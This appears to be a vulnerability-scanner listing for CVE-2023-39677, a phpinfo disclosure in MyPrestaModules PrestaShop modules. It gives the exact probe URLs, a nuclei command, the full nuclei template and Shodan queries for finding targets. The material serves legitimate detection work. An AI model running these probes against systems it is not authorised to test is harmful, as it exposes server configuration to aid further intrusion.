PrestaShop MyPrestaModules - PhpInfo Disclosure

highseverity

7.5CVSS score

32.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

PrestaShop modules by MyPrestaModules expose PHPInfo

Impact

An attacker can exploit this vulnerability to obtain sensitive information about the server configuration, potentially leading to further attacks.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/modules/simpleimportproduct/send.php?phpinfo=1 ; GET {{BaseURL}}/modules/updateproducts/send.php?phpinfo=1
Positive when: contains "PHP Extension" and "PHP Version" AND status 200

Run it with nuclei: nuclei -id CVE-2023-39677 -u <target>

The full check

id: CVE-2023-39677

info:
  name: PrestaShop MyPrestaModules - PhpInfo Disclosure
  author: meme-lord
  severity: high
  description: |
    PrestaShop modules by MyPrestaModules expose PHPInfo
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this vulnerability to obtain sensitive information about the server configuration, potentially leading to further attacks.
  reference:
    - https://blog.sorcery.ie/posts/myprestamodules_phpinfo/
    - https://cve.report/CVE-2023-39677
    - https://myprestamodules.com/
    - https://sorcery.ie
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2023-39677
    epss-score: 0.32313
    epss-percentile: 0.98337
    cpe: cpe:2.3:a:simpleimportproduct_project:simpleimportproduct:6.2.9:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: simpleimportproduct_project
    product: simpleimportproduct
    framework: prestashop
    shodan-query:
      - http.component:"PrestaShop"
      - http.component:"prestashop"
  tags: cve2023,cve,prestashop,phpinfo,disclosure,simpleimportproduct_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/simpleimportproduct/send.php?phpinfo=1"
      - "{{BaseURL}}/modules/updateproducts/send.php?phpinfo=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PHP Extension"
          - "PHP Version"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'

References

Use this check only on systems you are authorised to test. Where the data comes from